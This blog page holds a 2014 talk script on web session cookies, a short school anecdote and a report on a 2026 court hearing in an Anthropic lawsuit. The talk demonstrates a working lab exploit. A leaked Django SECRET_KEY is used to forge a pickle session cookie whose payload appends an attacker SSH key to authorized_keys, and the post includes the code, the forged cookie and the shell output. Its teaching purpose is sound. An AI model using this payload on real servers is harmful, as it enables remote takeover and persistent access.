An Algorithmic Lucidity

a blog

August 2026

Session Management, Message Authentication, and the Tragedy of the SECRET_KEY

(Script for a talk given at App Academy on 11 August 2014, belatedly blogged twelve years later in a fit of nostalgia for the world of mid-2010s web security)

Hi, my name is Zack M. Davis. I'm a software engineer at SwiftStack, and App Academy class of December 2013. Today I want to first talk a little bit about how cookie-backed sessions in web applications work, and then give a little demonstration on one way in which a few critical mistakes can make everything go horribly, horribly wrong.

As you know, HTTP itself is stateless: the client sends out a request, it makes its way through a series of tubes, the server gets it, and sends its own response back. There's nothing in the protocol itself to let the server know anything about previous requests by the same client. If we want persistent sessions, where the application remembers a particular user being logged in and having their own data, that gets implemented separately by having the client and server pass a bit of data called a cookie back and forth in the request and response headers.

But what you may not have previous considered in much detail, is the question of exactly what data goes in the session cookie. If you're using Rails, in your controllers, you have access to a hash-like session object. For example, if you're writing an online store, you'd likely want to store the shopping cart of items a user intends to buy inside of the session. Maybe you'd have a method something like this somewhere—

def add_item_to_cart!(item)
  session[:shopping_cart] << item.id
end

But that session hash map has to actually get stored somewhere. Where? There are two main approaches.

The first is database-backed sessions. The session data is actually stored in the database on the server, and the cookie only contains a randomly-generated session ID that is used to look up the session data in the database.

The second approach is cookie-backed sessions: to actually store the data itself inside of the cookie. This is what Rails does by default. (But there are other choices; you can specify what kind of sessions you want to use in config/initializers/session_store.rb.) Cookie-based sessions can offer an advantage in scalibility: say, if you want to distribute your application across several servers and have any one of them be able to respond without having to communicate with a central database, you can do that if the session data is right there as part of the request.

But an extremely high level of caution is in order every time you're trusting data from a client. Suppose you were storing the ID of the logged-in user in the cookie without any sort of cryptographic protection. Then some malicious user could examine the cookie, send it back with their next request, and be logged in as someone else. That would be very bad, and that's why we do have cryptographic protections for this sort of thing.

In Rails 4, the session data in the cookie is actually encrypted so that no one but the server can read it. In contrast, Rails 3 uses signed cookies. A signed cookie consists of two parts: the serialized session data itself, and a signature that gets computed from the session data together with the application's secret cryptographic signing key. The key is just a string that should be kept secret and should be long and random enough such that it would take someone a really long time to guess it; you know, maybe a few billion years or so. Anyone can read the session data, but only the application create or verify valid signatures—or at least, entities that have the application's secret key can create valid signatures. More about that in a moment. That way, malicious clients can't forge fraudulent cookies, because if they tamper with the session data, the signature won't match, and the application will notice this and refuse to accept the session.

So a typical Rails session cookie might look something like this:

BAh7CUkiDGFjY291bnQGOgZFVGkDjE4OSSIOaXNfbW9iaWxlBjsAVEZJIhN3YXJkZW4ubWVzc2FnZQY
7AFR7AEkiEF9jc3JmX3Rva2VuBjsAVEkiMUtxMldDeThLbEg4bmRQUldreERTMjBvRnJnS0w0SFM5Zz
N5MUR3Q3habms9BjsAVA==--178767448743ece18a645469224b5b839f5ce35a

—where the serialized session data and the signature are separated by the two hyphens. And indeed, without knowing the secret key which helped generate that signature, we can still deserialize the session hash—

irb(main):001:0> require 'rack'
=> true
irb(main):002:0> Rack::Session::Cookie::Base64::Marshal.new.decode "BAh7CUkiDGF
jY291bnQGOgZFVGkDjE4OSSIOaXNfbW9iaWxlBjsAVEZJIhN3YXJkZW4ubWVzc2FnZQY7AFR7AEkiEF
9jc3JmX3Rva2VuBjsAVEkiMUtxMldDeThLbEg4bmRQUldreERTMjBvRnJnS0w0SFM5ZzN5MUR3Q3hab
ms9BjsAVA=="
=> {"account"=>937612, "is_mobile"=>false, "warden.message"=>{}, "_csrf_token"=
>"Kq2WCy8KlH8ndPRWkxDS20oFrgKL4HS9g3y1DwCxZnk="}

So, I've been saying a lot about that secret cryptographic signing key. In Rails, that's going to be a variable named secret_token or secret_key_base if you're using the Rails 4 encrypted cookies, and it lives in config/initializers/secret_token.rb, or config/secrets.yml as of Rails 4.1. Interestingly, those files are not in the default .gitignore.

Can I do a quick poll of the audience here? Please raise your hand if, while you were working on your final project, you were aware of the existence of this file and made sure that it did not get uploaded to a public GitHub repository? That is, raise your hand if you explicitly made sure other people could not see this file in your project.

...

Okay, everyone who didn't raise their hand is dead. Metaphorically speaking.

Because of course, an attacker who knows your secret session-signing key can forge valid session cookies, with all the horror that applies. And it can potentially be get even worse than that!—I'd like to show you a little demo I put together about that.

I know App Academy is a Ruby and Rails shop, but I actually used Python and Django for this, because that's why I work with all day and so it was easier for me to craft a nice example. Sorry about that; all the same high-level principles apply to rails.

So, here we see a nice banking application at supersecurebank.com (actually running in a VM on my laptop with the URL faked in /etc/hosts), where a user can log in and see their accounts.

Notice that if we, roleplaying an attacker, try to open a remote shell on supersecurebank.com, it doesn't let us.

zmd@SuddenHeap:~/Code/Secret_Key_Attack_Demo$ ssh -i attacker_id_rsa victim@supersecurebank.com
Permission denied (publickey).

Let's see what we can do about that.

Now, Django uses database-backed sessions by default, but you can configure it to used cookie-backed sessions instead, and it particular, you can—you probably shouldn't, but you can—configure it to use Python's Pickle serailzation format. Pickle is a lot like Ruby's Marshal; it converts ("pickles") Python objects to text that you can save in a file and can "unpickle" it into a Python object later. As the documentation rightly notes, Pickle is not secure and not intended to be used with untrusted data because it can be used to execute arbitrary code. For example, to deal with custom classes that the pickle module doesn't already know to deal with, you can define a __reduce__ method on your classes that returns an immutable array (tuple) with a callable and arguments that tells Pickle how to reconstruct the object at unpickling time.

Now, it just so happens that supersecurebank.com is a Django app using the Pickle serializer for session cookies.

So suppose we define a class like this—

class EvilPickle(object):
    def __reduce__(self):
        return (
            subprocess.call,
            (
                [
                    "sed",
                    "-i",
                    "$ a\ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdVqkIbBBLto8tjcNY17CLoBvrIdii/+dp6Ia4pAs/zg3jSvRLlzXqu0Z/FEdyY8PoAxoE/Ho0SqWaQvG8PP9moVLPL7KsbOY9QB6R/fDRS1d71TukFg+4ytp4NwbILuqQqlMAFq5F+qxHxDalr2sySiy5iKE30dlD44Hr80kF3IDtbxeC78as97q4Og8AoJSnQTxJ1J03AKXHQqcQHAyLT2RpJlKBedhm9KqRWOxUE6+sP7WfZ9H0gwdaYzz/Kx8PkJf3DKlGay5zUBgmLpmNjpXblGIkw5gJyRGJsYBtLq9rwHgoAOVi5i4fOUbCGIBPW84jYC6wEqnuCK/s5X+h penetrationtest@appacademy.io",
                    "/home/victim/.ssh/authorized_keys",
                ],
            ),
        )

What that reduce method is saying is that when Pickle tries to deserialize this class, it should use subprocess.call to invoke sed to append this ssh public key (the one we used earlier to try to ssh in) to /home/victim/.ssh/authorized_keys.

The application's secret key lives in a settings variable called SECRET_KEY.

# Make this unique, and don't share it with anybody.
SECRET_KEY = '2%vcwe5gdx=@69_+97c=*yx1zx&s0+oysq!egnotzz)37sad-m'

So if we use the SECRET_KEY and Django's signing functions to pickle an instance of our EvilPickle class

import os
os.environ['DJANGO_SETTINGS_MODULE'] = (
    "My_Super_Secure_Banking_Application.settings"
)
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing

def evil_session_id():
    return signing.dumps(
        EvilPickle(),
        key="2%vcwe5gdx=@69_+97c=*yx1zx&s0+oysq!egnotzz)37sad-m",
        serializer=PickleSerializer,
        salt="django.contrib.sessions.backends.signed_cookies",
        compress=True
    )

print "sessionid=" + evil_session_id()

and use that as our cookie on our next request—

(Secret_Key_Attack_Demo)zmd@SuddenHeap:~/Code/Secret_Key_Attack_Demo$ python evil_pickle.py
sessionid=.eJwVkcuSmkAAAHfdPKr2K0xVDqmyVlBA4BZeyisKKCpbSaUGGHEEHIYBBU655Dvyq9ntW_e1_4wS2sZVjRNI6XMCiuKZPP4io2_hE4UpeQpHL4h82P17fHj4OgY_x5SeX2oKxsobKrcegDbrk7nxrrriK-p7Vnwt3ZPcilXVbbDUXJJ1NBM1F6u32koRYiZptbAAXymUGTLusr0FbjEcScu-Mksj7SPJw0qHDcbE7JYcgH9bSZ4nl3jveq7o0HgTyb66CJiTHmxnqTjbtfkym_B9U_Hre2y5LfFJ8UNZEmE5IZ3Z6aCo57Tfol5AjsGxaaHzvFlLbL7kLL2JO6iJEqCySPhNJinY3l79XWfPbJZTnKPpk8Q3ld7dzYPKLhwVpudSdkhw2HShsZhQTzycXmWTze4piIaBcTrJy-0TpzvFCvTCEKpZ6Vbl-lId42Jl5Xchs_tgZdNIbVwi13czw8pmjwTEnzZhrK0s1TtI_CXSFneDXFvNYahwnJzHFbzCpgYNwtcG0uY7qCqQgBSW_RRh8jH8wpxxCZkbShpUMtO3VwxomzOu0QDT3znsKfkE_wbk8_Q_w_2mfA:1XE6Ru:3eb_aMxa7FGh38nrySH5yvKBDhw

—then when the server gets our poisoned request, it should execute that sed command, which will let us log on.

(use Cookies Manager+ to set sessionid cookie, refresh page, observe 500 error page)

—which is exactly what happens.

zmd@SuddenHeap:~/Code/Secret_Key_Attack_Demo$ ssh -i attacker_id_rsa victim@supersecurebank.com
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-30-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Mon Aug  4 00:23:37 UTC 2014

  System load:  0.0               Processes:           92
  Usage of /:   3.3% of 39.34GB   Users logged in:     1
  Memory usage: 39%               IP address for eth0: 10.0.2.15
  Swap usage:   0%                IP address for eth1: 192.168.33.14

  Graph this data and manage this system at:
    https://landscape.canonical.com/

  Get cloud support with Ubuntu Advantage Cloud Guest:
    http://www.ubuntu.com/business/services/cloud


Last login: Mon Aug  4 00:23:37 2014 from 192.168.33.1
victim@supersecurebank:~$ echo "pwned"
pwned

So, granted, I've made very generous assumptions to the attacker here, but at the same time, before seeing this, would you have expected that publishing one of your app's configuration settings and using an unsafe serializer on your server could so easily lead to it not being your server anymore? So I hope this has been an an inspiring and terrifying demonstration of the importance of constant vigilance. Thank you.

Charles Goodhart Elementary School

I heard a story (second- or third-hand, which surely lost or gained some details on the telephone path from reality to this telling if it even happened at all) about a boy, age 7 or so, who goes to a very highly-acclaimed school. A piece of recurring homework they give the kids is to read for twenty minutes from a chapter book, and then write a "reflection sentence" about what they read, to be checked off by the teacher.

One day, new stepmom is looking over the kid's work, and notices something off: the kid's reflection sentences don't seem to be a plausible reflection on what was read. Suspiciously many of them just describe a character's isolated action with no context, or refer to story events in the first person, or start with "Once upon a time."

Turns out, the kid was just copying the first sentence verbatim out of a book chapter, and turning that in as his reflection sentence. Stepmom tries to explain that this is clearly not the intent of the exercise.

The kid isn't having it. The teacher always gave him a checkmark, therefore his way of doing reflection sentences was correct.

Stepmom is concerned, asks the kid to read to her, and it's very clear that the kid is just not prepared to read at the level of the books he's attempting. Stepmom suggests some easier books that might be more his speed. The kid refuses; the teacher said they were supposed to read a chapter book.

Another thing they do at this, again, very highly-acclaimed school, is they give the kids arithmetic exercises at the afterschool program. At this point, stepmom is pretty skeptical of the competence of the grown-ups at this school, so she looks over the kid's papers from that. She sees an error in one problem that was marked correct, and points it out to the kid.

Kid has a complete meltdown. "No, no!" he screams. The afterschool grader had marked the problem correct, so it had to be correct. Why was stepmom lying to him about how numbers work? Stepmom tries to explain that the grader must have made a mistake. It happens, sometimes.

The kid isn't having it. Kid and stepmom take the problem to the father. Dad agrees with stepmom. The kid is still crying. "No!"

Stepmom shows the kid how to punch in the problem to the calculator app on the kid's tablet—to the calculator app on her laptop—to the LCD desk calculator that was sitting in the drawer. Same answer every time, different from the answer the grader had marked correct.

At this point, the kid has run out of energy to scream any more, or even to cry. He's just sitting there, shaking a bit, mouthing the word "No" without voice, staring glassy-eyed off into the distance, as if at some cosmic horror only he can see.

There's probably a moral here. But they're not paying me to tell you what it is exactly.

Dispatch from Anthropic v. Department of War Summary Judgment Motion Hearing

Dateline SAN FRANCISCO, 30 July 2026— A hearing was held on a motion for summary judgment in the case of Anthropic PBC v. U.S. Department of War et al. in Courtroom 4 on the 17th floor of the Phillip Burton Federal Building, the Hon. Rita F. Lin presiding.

The case is not going well for the government. Two days after the last hearing in March, Judge Lin issued a preliminary injunction halting the implementation of President Donald Trump's order for federal agencies to stop using Anthropic's technology and preventing the Department of War from designating Anthropic as a supply chain risk. (A separate case involving a different statute is pending before the D.C. Circuit Court, which did not grant injunctive relief to Anthropic.)

With no factual disputes requiring a jury to decide, the case was scheduled to be decided by Judge Lin on the basis of the written record. Anthropic filed their argument for why they should win. Perhaps tellingly, the government's rebuttal explaining why they should win instead ends on a section explaining that "only modest relief is warranted" if Anthropic wins—and Judge Lin asked Anthropic to propose what they think the final judgment should look like.

Meanwhile, in Congress, next year's defense appropriation bill adds language to the statute on the supply chain risk designation that prohibits designating a domestic company as a supply chain risk for declining contract terms.

About a dozen spectators (including the present writer) dotted the gallery Thursday as the parties convened to discuss Judge Lin's homework questions (four out of five of which were primarily directed at the defendant). Anthropic's contingent of ten people took up the long counsel table in the center of the courtroom, while the government's two lawyers sat in counsel overflow seating on the left. Michael Mongan of WilmerHale spoke for the plaintiff. The defense swapped in Department of Justice attorney James Harlow to speak (replacing Deputy Assistant Attorney General Eric Hamilton, who filled that role at the preliminary injunction hearing).

Judge Lin began by saying that the updated record seemed largely as it was at the time of the preliminary injunction—and in some ways, the record got worse for the government. No evidence had emerged that Anthropic had the capability to sabotage a version of their AI model, Claude, after it had been delivered. The Department of War's justification for the supply chain risk designation seemed to rest on the Department's loss of trust in Anthropic due to Anthropic's conduct in refusing to abandon their usage policies to accommodate the Department's desired "all lawful use" terms. "I find that position, if that's really what the government's position is, to be troubling," Judge Lin said.

The first question regarded the defendant's contention that the Pickering framework applied to the present case. The precedent set by Pickering v. Board of Education (1968) says that the First Amendment rights of government employees to speak on matters of public interest need to be balanced against the government's interests as an employer. Judge Lin asked the defendant whether the Pickering framework applies to the government hitting a contractor with a punishment that goes beyond just terminating the contract.

Harlow said that it would depend on the nature of the hypothetical punishment. Pickering distinguishes whether a government is acting in its regulatory capacity as a sovereign, or only as an employer. But in the present case, all actions had been about the government's own information technology systems.

Judge Lin asked, what if it's only a contract termination, but the government says they're making an example of the contractor?

"Yes, Your Honor, Pickering would apply," Harlow said.

Judge Lin asked, even if the purpose is to deter other contractors?

Harlow replied that if the government says what conduct they won't tolerate from a contractor, that's not an exercise of sovereign power.

Judge Lin asked about the case of a secondary boycott (the government boycotting those that didn't boycott the offending contractor).

Harlow said that the Department's position was that there was no secondary boycott in this case.

Suppose there had been, said Judge Lin.

Harlow said that if, hypothetically, the government said that Bank of America couldn't use Anthropic models to write code unrelated to any government contracts, that would be an exercise of regulatory sovereign power and Pickering balancing wouldn't apply.

Judge Lin asked if Secretary of War Pete Hegseth's 27 February Twitter announcement that "Effective immediately, no contractor, supplier, or partner that does business with the United States military may conduct any commercial activity with Anthropic" would go beyond Pickering, if it were applied as written, without limitations.

Harlow said he couldn't give a categorical answer, because the hypothetical would apply to the facts of some situation. But we didn't need to resort to speculation, he said: in context, Hegseth wasn't exercising authority beyond applying the supply chain risk designation.

Judge Lin said the case was making her think of a lot of hypotheticals and asked Harlow to bear with her. She thought this should be easy: if the government announced that it was terminating contracts for criticism of President Trump, Pickering would not apply, right?

Harlow said Pickering would apply.

Judge Lin said, suppose the government said, to be clear, this is to prevent unfair criticism of the President.

Harlow said Pickering could handle that case, although it would be hard for the government to meet its burden of showing that its interests as an employer outweighed the contractor's interests in its speech.

"I'm surprised that you can't give a yes to what seems to me to be an easy question," said Judge Lin. What if the government says it's because we can't trust you? Judge Lin supposed that Harlow would say that Pickering still applies.

Yes, Harlow said, but the case would come down to the facts, not just a bare statement of distrust.

Judge Lin asked what Harlow thought of an illustrative scenario posed in part (b) of the homework question. "Imagine that a hypothetical future administration has a contract with a private company to procure drones for surveillance," Judge Lin wrote. If the contractor refused to make lethal drones and the administration put up billboards labeling the contractor and its CEO as "enemies of the state" and warning other companies not to do business with them, would Pickering apply?

Harlow responded in the affirmative: in firing a contractor, the state was acting as an employer, not a sovereign, although the billboards in the hypothetical were veering more towards the use of regulatory power. The government wasn't a monolith; in the present case, the First Amendment analysis of President Trump's government-wide ban on Anthropic was distinct from the Department of War's supply chain risk designation.

Judge Lin gave the plaintiff an opportunity to respond. Mongan said that Pickering didn't apply to this case because the challenged actions were not the day-to-day management activities of an employer. The supply chain risk designation is a national security (thus sovereign) authority. He said that he suspected that the reason the Court wasn't getting clear answers from Harlow is "that my colleague is a very good lawyer," but that even if the Pickering precedent applied, Anthropic's First Amendment claim would still prevail.

Judge Lin asked if the plaintiff had a view on whether the government's actions should be considered separately or as a whole. Mongan said it was fact-dependent in general, but on this record, the White House and the Department of War's actions were clearly linked.

Judge Lin proceeded to her next question for the defendant: would it "eviscerate" First Amendment protections if the government could retaliate against a contractor as long as the government's actions could be described as being due to a breach of trust?

Harlow said no: the Pickering framework would apply to the facts of the case. The Department had risk assessment memos explaining that frontier AI is a black box, not akin to procuring a shipment of rifles that could be disassembled to check that they were manufactured to specifications.

Given that the technology allowed Anthropic to bake its corporate values into its models, the Department needed a greater level of trust in the vendor than it did for military hardware. It wasn't a one-time deal, either, as the Department would need updated models. Judge Lin asked if the situation was that different from other defense contracts: what made AI different from drones? Harlow replied that AI was "staggeringly opaque." Aspects of Anthropic's behavior, such as questions about classified military operations and hostile communications within the company, had given the Department reason to fear that they would insert their "corporate moral judgment" into the product. The Department needed to know if Anthropic saw itself as a partner, and case law granted the government substantial deference on this point.

Given an opportunity to reply, Mongan said that the timeline matters: the risk memo was dated 2 March, but Secretary Hegseth and President Trump's actions were on 27 February. He said he would resist the notion that the opaqueness of modern AI obviates First Amendment protections. Anthropic's usage restrictions had been there from the beginning, and there was no indication that Anthropic took steps to interfere with the Department's operations. Taking a stand on usage restrictions is the last thing a saboteur would do. A central concern earlier in the case had been the possibility Anthropic might remotely sabotage the model after it had been delivered, before that had been shown to not be technically possible. The defendant's shifting rationales were powerful evidence of pretext, Mongan said.

Judge Lin proceeded to her next question: have any federal agencies terminated their contracts with Anthropic or begun winding down their usage of Claude since the preliminary injunction was issued? Harlow said the defendants weren't sure what prompted the question, but that the Department of War was in the process of offboarding Anthropic and would be finished by 30 September. Another agency was also offboarding. Other defendant agencies hadn't said, but many were only using Claude through a pilot program that would expire on 30 August or through third-party providers.

Judge Lin's next question was if any agencies doing national security work had expanded their use of Claude, including the new Mythos model.

Harlow said that the defendants respectfully objected to the question on national security grounds. In any case, any such usage would be irrelevant, since it would have occurred after the challenged actions.

Judge Lin said that the reason she was asking is because it would be inconsistent to expand usage of Claude for sensitive work if Anthropic were untrustworthy. She explained that she used to be a prosecutor; sometimes people's actions after a crime shed light on their motives. Harlow said that he was not authorized to give a substantive answer at this hearing but that the defendant could supply the requested information if the Court found it necessary. Judge Lin said she might issue a written order later.

The last question concerned whether the remedy in this case should include remanding the matter of the supply chain risk designation back to the Department so that they could make a better case for it. Mongan said that that was fine as a formal matter, but as a practical matter, the record was clear that Anthropic was not an adversary of the state.

Then it was time for any closing remarks that the parties wanted to make. Harlow said that the Department was aware of Anthropic's public statements and that the case was not about the company's speech. Regarding the unanswered question about expanded usage of Claude, he said an answer would take some work on the Department's end and asked the Court for a week's time; the difference between two days and a week couldn't matter. Regarding the plaintiff's proposed remedy, Harlow said that any relief should be narrowly tailored to particular actions of particular agencies, and that there was no basis for demanding a compliance report. Regarding the defendant's request for a week, Mongan pointed out that the government had had the homework question since Monday; Anthropic had been suffering unconstitutional harm since February and appreciated the Court and the defendants moving quickly.

Then court was adjourned.